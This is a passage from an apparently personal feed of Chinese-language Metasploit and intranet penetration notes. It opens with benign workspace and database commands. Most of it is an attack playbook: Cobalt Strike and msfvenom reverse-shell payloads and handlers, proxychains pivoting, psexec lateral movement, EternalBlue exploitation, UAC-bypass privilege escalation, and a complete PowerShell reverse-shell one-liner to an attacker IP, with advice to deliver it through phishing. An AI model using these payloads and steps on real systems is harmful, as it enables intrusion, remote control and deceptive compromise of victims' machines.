- `vulns -d <ip>`**：删除指定 IP 上的漏洞记录。

### 示例：
如果你要删除 `192.168.1.10` 上的 80/tcp 服务和 MS17-010 漏洞，可以执行以下命令：

services -d 192.168.1.10 80
vulns -d MS17-010

这些命令会清除指定的记录。

#Metasploit #删除指定 #hosts #services #vulns #记录

Metasploit 删除指定 hosts services vulns 记录

02:28 · Nov 12, 2024 · Tue

### 清空 Metasploit 中的 Hosts、Vulns 和 Services

在 Metasploit 中，可以使用命令清空数据库中的相关记录，包括 Hosts、Vulns 和 Services。你遇到的问题是使用 db_remove 命令时没有正确删除对应的记录。以下是正确的操作步骤：

#### 1. 清空 Hosts
要清空工作区中的所有主机，可以使用以下命令：

hosts -d all

这将删除所有在当前工作区中的主机记录。

#### 2. 清空 Services
要删除与主机相关的服务信息，你可以使用：

services -d all

这会删除当前工作区中所有主机的服务记录。

#### 3. 清空 Vulns
要删除与主机相关的所有漏洞信息，可以使用：

vulns -d all

这将清除所有漏洞信息。

### 总结：
1. `hosts -d all`**：删除所有主机。
2. services -d all：删除所有服务信息。
3. vulns -d all**：删除所有漏洞信息。

### 示例：
如果你想清空所有主机、服务和漏洞记录，可以执行以下命令：

hosts -d all
services -d all
vulns -d all

这样，你的 Metasploit 数据库就会清空这些记录。

#Metasploit #清空 #hosts #vulns #services #数据库

Metasploit 清空 hosts vulns services 数据库

06:56 · Nov 11, 2024 · Mon

### Metasploit 中的工作区管理

在 Metasploit 中，工作区（workspace）用于将不同的渗透测试活动和数据隔离。你可以使用以下命令来查看、创建、切换和删除工作区：

1. **查看当前工作区**：
要查看当前活跃的工作区，使用以下命令：

   msf6 > workspace

该命令会列出所有现有的工作区，并标明当前使用的工作区。

2. **进入（切换）工作区**：
若要切换到另一个工作区，可以使用以下命令：

   msf6 > workspace -a <workspace_name>

其中，`<workspace_name>` 是你想进入的工作区名称。如果工作区不存在，Metasploit 会自动创建一个新的工作区。

3. **创建新工作区**：
要创建一个新的工作区，可以使用：

   msf6 > workspace -a <new_workspace_name>

该命令会创建并切换到新工作区。

4. **删除工作区**：
如果你想删除一个工作区，可以使用以下命令：

   msf6 > workspace -d <workspace_name>

请注意，删除工作区会清除与该工作区相关的数据，因此请谨慎操作。

5. **查看所有工作区**：
使用以下命令查看当前所有的工作区：

   msf6 > workspace

### 示例：
假设你想切换到一个名为 `test_workspace` 的工作区，可以运行：

msf6 > workspace -a test_workspace

要删除一个名为 old_workspace 的工作区，可以使用：

msf6 > workspace -d old_workspace

这些操作使你能够高效管理渗透测试过程中的不同任务和数据。

#Metasploit #工作区 #workspace #管理

Metasploit 工作区 workspace 管理

15:58 · Nov 10, 2024 · Sun

### 🌐 内网渗透场景概述

#### 1. 网络环境
- 双网卡 Web 服务器**：
- 连接外网和内网，作为外网入口。
- **若干内网主机**：
- 处于不同域中，无法直接访问外网。

#### **2. 当前权限
- 已通过 getshell 获取 Web 服务器权限，并通过蚁剑连接。

#### 3. 渗透目标
- 进一步渗透内网主机。
- 通过 Web 服务器的双网卡访问内网资源。
- 在外网 Kali 攻击机上使用 Cobalt Strike 和 Metasploit 进行渗透。

---

### 🛠 渗透步骤总结

#### 方案一：Cobalt Strike（CS）渗透
1. 设置 CS 监听器**（反向 HTTP Beacon）。
2. **上传 Beacon 到 Web 服务器**，通过蚁剑执行。
3. **获取 Beacon 会话**，在 CS 中启动 **Socks5 代理**。
4. 使用 `proxychains` 在 Kali 上进行 **内网扫描和横向渗透**。

#### **方案二：Metasploit（MSF）渗透
1. 生成 Meterpreter Payload**，并通过蚁剑上传到 Web 服务器执行。
2. **捕获 Meterpreter 会话**，使用 `portfwd` 转发内网端口。
3. 启用 **Socks4 代理**，使用 `autoroute` 扩展内网访问能力。
4. 利用 `proxychains` 进行 **内网扫描和漏洞利用（如 MS17-010）**。

---

### 🔑 关键要点
- 利用 **双网卡 Web 服务器作为跳板。
- 结合 Socks 代理 和 **proxychains**，实现 Kali 与内网的通信。
- 使用 CS 和 MSF 的代理功能，实现内网横向渗透和权限提升。

---

### 关键词
#内网渗透 #双网卡服务器 #CobaltStrike #Metasploit #Socks代理 #横向渗透 #蚁剑

内网渗透双网卡服务器 CobaltStrike Metasploit Socks代理横向渗透蚁剑

15:57 · Nov 10, 2024 · Sun

### 🛠 双网卡环境内网渗透方案（基于 Cobalt Strike 与 Metasploit）

在你当前的网络环境中，双网卡 Web 服务器充当了一个桥梁，连接了外网与内网。你已经通过 getshell 获取了 Web 服务器的权限，并通过蚁剑进行连接。接下来，我们将探讨如何使用 Cobalt Strike（CS） 和 Metasploit（MSF） 进行进一步的内网渗透。下面提供了基于两种工具的详细步骤。

---

## 🌐 一、使用 Cobalt Strike 进行内网渗透

### 1. 设置 CS 监听器（Listener）
首先，需要在你当前的 Kali 上设置一个 CS 监听器，用于与目标服务器建立连接。

- 步骤**：
1. 打开 Cobalt Strike 客户端，连接到你的 CS Team Server。
2. 导航到 **Cobalt Strike -> Listeners**，点击 **Add**。
3. 配置监听器：
- **Payload: windows/beacon_http/reverse_http
- Host: 你的 Kali IP 地址（公网或 VPS IP）
- Port: 80（或其他常用端口）
4. 点击 Save 以创建监听器。

### 2. 上传 CS 的 Beacon 到 Web 服务器
你已经通过蚁剑连接到 Web 服务器，接下来可以上传 CS 的 Beacon。

- 步骤**：
1. 在 CS 中生成 Payload：
- 导航到 **Attacks -> Packages -> Windows Executable (S)
- 选择刚刚创建的监听器，生成一个 .exe 或 .dll 文件。
2. 使用蚁剑将生成的文件上传到 Web 服务器上，并通过命令执行它：

      shell:cmd.exe /c beacon.exe

3. 如果成功运行，CS 中会显示一个新的 Beacon 连接。

### 3. 配置 Socks Proxy 以渗透内网
为了通过 Web 服务器进一步渗透内网主机，可以利用 CS 的 Socks Proxy 功能。

- 步骤**：
1. 在 CS 中选择连接的 Beacon。
2. 右键 -> **Explore -> Socks Server**，启动 `Socks5` 代理（默认端口 `1080`）。
3. 在 Kali 上配置代理工具（如 `proxychains`），将其流量导向 CS 的 Socks 代理：
```bash
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
```
4. 使用 `proxychains` 运行内网扫描工具（如 `nmap`）：
```bash
proxychains nmap -sT -Pn 192.168.1.0/24
```

### 4. 横向渗透和权限提升
- 利用 CS 的 **Elevate 功能，尝试提升权限。
- 使用 PsExec、WMI 等模块在内网进行横向移动：

  psexec \\192.168.1.10 -u admin -p password -c payload.exe

---

## 🛠 二、使用 Metasploit 进行内网渗透

### 1. 利用蚁剑执行 MSF Payload
既然已经通过蚁剑获得了 Web 服务器的 Shell，可以直接通过 MSF 生成 Payload 并在 Web 服务器上执行。

- 步骤**：
1. 在 Kali 中生成 MSF 的反向 Shell Payload：
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=4444 -f exe -o meterpreter.exe
```
2. 使用蚁剑将 `meterpreter.exe` 上传到 Web 服务器，并执行：
```shell
shell:cmd.exe /c meterpreter.exe
```

### 2. 在 MSF 中捕获会话
- **步骤**：
1. 启动 `msfconsole` 并设置监听器：
```bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Kali IP>
set LPORT 4444
run
```
2. 如果成功，你将在 MSF 中获得一个 `meterpreter` 会话。

### 3. 设置 Meterpreter 的 Port Forwarding
- 如果 Web 服务器能访问内网主机，可以使用 `portfwd` 将内网端口转发到你的 Kali。

```shell
meterpreter > portfwd add -l 8888 -p 3389 -r 192.168.1.10
```
这里将 Web 服务器的 3389（RDP）端口转发到 Kali 的 8888 端口。

### 4. 使用 MSF 的 Socks Proxy 进行内网渗透
1. **在 meterpreter 中启动 socks 代理**：
```shell
meterpreter > run autoroute -s 192.168.1.0/24
meterpreter > run socks_proxy
```
2. **配置 proxychains**：
```bash
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
```
3. **通过 proxychains 进行内网扫描**：
```bash
proxychains nmap -sS -Pn 192.168.1.0/24
```

### 5. 横向渗透（MS17-010、EternalBlue）
- 使用 MSF 的 `exploit/windows/smb/ms17_010_eternalblue` 模块来进行内网主机的攻击：
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.20
set LHOST <Kali IP>
run
```

---

## 🔑 关键点总结**

1. Cobalt Strike 适合通过 Beacon 和 Socks 代理对内网进行隐蔽渗透。
2. Metasploit 提供强大的内网扫描、漏洞利用和横向移动能力。
3. 利用 双网卡服务器 作为桥梁，结合 CS 和 MSF 的代理功能，能有效地渗透无法直接访问的内网区域。

---

### 关键词
#CobaltStrike #Metasploit #内网渗透 #双网卡服务器 #蚁剑 #Socks代理 #横向渗透 #权限提升

CobaltStrike Metasploit 内网渗透双网卡服务器蚁剑 Socks代理横向渗透权限提升

06:45 · Nov 10, 2024 · Sun

migrate 进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程

#Metasploit #Windows #powershell #Meterpreter #渗透测试

将Meterpreter会话移植到指定pid值进程中杀死进程 Metasploit Windows powershell Meterpreter 渗透测试

04:18 · Nov 10, 2024 · Sun

#无文件 #PowerShell #反向木马 #ReverseShell #Metasploit #Windows #powershell #reverse #tcp #Meterpreter #渗透测试

msf6 > use exploit/multi/handler
msf6 > set payload windows/shell_reverse_tcp

> msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
1. 开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
2. 生成powershell command命令
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
3. 提权
meterpreter > getsystem #拿不到权限
meterpreter > bg

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.5.233 - Collecting local exploits for x86/windows...
[*] 192.168.5.233 - 196 exploit checks are being tried...
[+] 192.168.5.233 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
……

扫出可以提权的exploit，随便使用一个提权

无文件 PowerShell 反向木马 ReverseShell Metasploit Windows powershell reverse tcp Meterpreter 渗透测试拿不到权限

03:24 · Nov 10, 2024 · Sun

### PowerShell Command 木马

PowerShell 是 Windows 系统内置的命令行脚本环境，因此在渗透测试中，攻击者常利用 PowerShell 脚本来执行恶意操作，而无需上传可执行文件。以下是使用 PowerShell 命令来生成和执行反向木马的一些常见步骤。

#### 1. 生成 PowerShell 反向木马命令

PowerShell 反向木马允许攻击者通过 PowerShell 执行命令来建立一个远程会话，这样可以在目标系统上执行命令、获取信息或者控制目标。

使用 msfvenom 生成 PowerShell 反向木马命令：

msfvenom -p windows/powershell_reverse_tcp LHOST=<攻击者IP> LPORT=<攻击者端口> -f raw

例如：

msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw

这将生成一个 PowerShell 反向连接的命令，如下所示：

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

解释：
- `LHOST=192.168.1.100`：攻击者的 IP 地址。
- `LPORT=4444`：监听端口。
- `-f raw`：输出原始的 PowerShell 命令。

这段命令通过创建一个 TCP 客户端，连接到攻击者指定的主机和端口，并通过流将输入的 PowerShell 命令执行，然后将结果返回给攻击者。

#### 2. 启动 Metasploit 监听器

在 Metasploit 中启动 `multi/handler` 模块并监听反向连接：

msfconsole
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

- `set LHOST 192.168.1.100`：设置攻击者的 IP 地址。
- `set LPORT 4444`：设置监听的端口。
- `run`：启动监听等待目标机器的反向连接。

#### 3. 在目标系统上执行 PowerShell 命令

将上面生成的 PowerShell 反向木马命令传递给目标机器并在目标机器上执行。可以通过以下方式执行：

1. **直接在 PowerShell 中执行**：
在目标机器上打开 PowerShell 窗口并直接粘贴命令进行执行。

   powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

2. **通过社会工程学手段执行**：
通过社会工程学手段诱使目标用户执行该命令。例如，通过邮件、钓鱼网站或者在目标机器上放置一个伪装的 PowerShell 脚本，诱使用户运行。

3. **通过文件执行**：
将 PowerShell 反向木马命令保存为 .ps1 脚本文件，例如 `reverse.ps1`，然后通过以下命令执行：

   powershell -ExecutionPolicy Bypass -File reverse.ps1

-ExecutionPolicy Bypass 用于绕过 PowerShell 的执行策略，允许执行脚本。

#### 4. 接收反向连接

当目标机器执行 PowerShell 命令时，Metasploit 控制台将显示以下信息，表示已经成功获得目标的反向连接：

[*] Started reverse TCP handler on 192.168.1.100:4444 
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500

此时，你可以通过 Meterpreter 会话进行各种操作，如获取系统信息、执行命令、上传/下载文件等。

#### 5. 后续操作

通过反向连接，你可以执行一系列操作。例如，查看系统信息：

sysinfo

或者上传恶意文件：

upload /path/to/malicious/file C:\Users\Public\malicious.exe

#### 总结

PowerShell 反向木马是一个强大且隐蔽的攻击方式。它无需依赖可执行文件，而是通过 PowerShell 直接在目标机器上执行恶意命令。通过适当的社会工程学技巧或合法的管理工具，可以绕过防火墙和其他安全措施，进行渗透测试和攻击。

### 关键词
#PowerShell #反向木马 #ReverseShell #Metasploit #windows/powershell_reverse_tcp #Meterpreter #渗透测试

PowerShell 反向木马 ReverseShell Metasploit windows Meterpreter 渗透测试

03:23 · Nov 10, 2024 · Sun

### 使用 PowerShell 命令生成反向木马

在渗透测试中，有时会选择使用 PowerShell 作为载体来执行反向连接命令。这种方式不需要生成可执行文件（exe），而是利用 PowerShell 脚本直接从目标机器发起反向连接到攻击者的机器。

Metasploit 提供了一个 PowerShell 反向 shell payload，可以帮助你生成和执行这种反向木马。

#### 步骤 1：生成 PowerShell 反向连接命令

使用 msfvenom 来生成 PowerShell 反向连接命令，避免将恶意文件上传到目标机器，而是通过 PowerShell 直接执行命令。

1. **生成 PowerShell 反向木马命令**：

假设攻击者的 IP 地址是 `192.168.5.100`，端口是 `4444`，执行以下命令生成 PowerShell 反向 shell：

   msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.5.100 LPORT=4444 -f raw

- `-p windows/powershell_reverse_tcp`：选择 PowerShell 反向连接 payload。
- `LHOST=192.168.5.100`：设置攻击者的 IP 地址。
- `LPORT=4444`：设置监听的端口。
- `-f raw`：生成原始的 PowerShell 命令。

输出将是类似这样的 PowerShell 命令：

   powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.5.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

这个命令会启动一个 PowerShell 反向连接并连接到攻击者的机器。

#### 步骤 2：设置 Metasploit 监听器

1. **启动 Metasploit 控制台并设置监听器**：

启动 Metasploit 并使用 `multi/handler` 模块来监听目标机器的反向连接。

   msfconsole

2. **设置监听器参数**：

在 Metasploit 控制台中执行以下命令来设置监听器：

   use exploit/multi/handler
   set payload windows/powershell_reverse_tcp
   set LHOST 192.168.5.100
   set LPORT 4444
   run

- `use exploit/multi/handler`：选择通用的处理程序。
- `set payload windows/powershell_reverse_tcp`：选择 PowerShell 反向连接 payload。
- `set LHOST 192.168.5.100`：设置攻击者的 IP 地址。
- `set LPORT 4444`：设置监听的端口。

3. **开始监听反向连接**：

执行 `run` 启动监听，等待目标执行 PowerShell 命令并反向连接。

#### 步骤 3：在目标机器上执行 PowerShell 命令

将上面生成的 PowerShell 命令复制到目标机器上并通过 PowerShell 执行。可以使用以下几种方式之一来执行：

1. **直接在 PowerShell 中执行命令**：

通过手动输入或在目标机器的 PowerShell 命令行中执行命令。

2. **通过文件执行**：

可以将该命令写入一个 PowerShell 脚本文件（例如 `reverse.ps1`），然后执行该文件：

   powershell -ExecutionPolicy Bypass -File reverse.ps1

3. **通过社会工程学**：

可以通过钓鱼邮件、社交工程等方式诱使目标用户执行该命令。

#### 步骤 4：接收反向连接

一旦目标执行 PowerShell 命令，你将会在 Metasploit 控制台中看到类似以下输出：

[*] Started reverse TCP handler on 192.168.5.100:4444 
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.5.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500

这意味着你已经成功获取了目标机器的 Meterpreter 会话，可以继续执行各种渗透测试任务。

#### 步骤 5：后续操作

一旦建立反向连接，你可以通过 Meterpreter 执行各种操作，如：

- 获取系统信息
- 上传/下载文件
- 执行系统命令

例如，使用以下命令获取目标机器的系统信息：

sysinfo

### 总结

PowerShell 反向木马是一种不依赖于上传可执行文件的反向连接方式，它通过 PowerShell 脚本直接从目标机器反向连接到攻击者机器。这种方式隐蔽性较高，且容易被利用。

### 关键词
#Metasploit #PowerShell #ReverseShell #反向木马 #Meterpreter #windows/powershell_reverse_tcp

Metasploit PowerShell ReverseShell 反向木马 Meterpreter windows

Home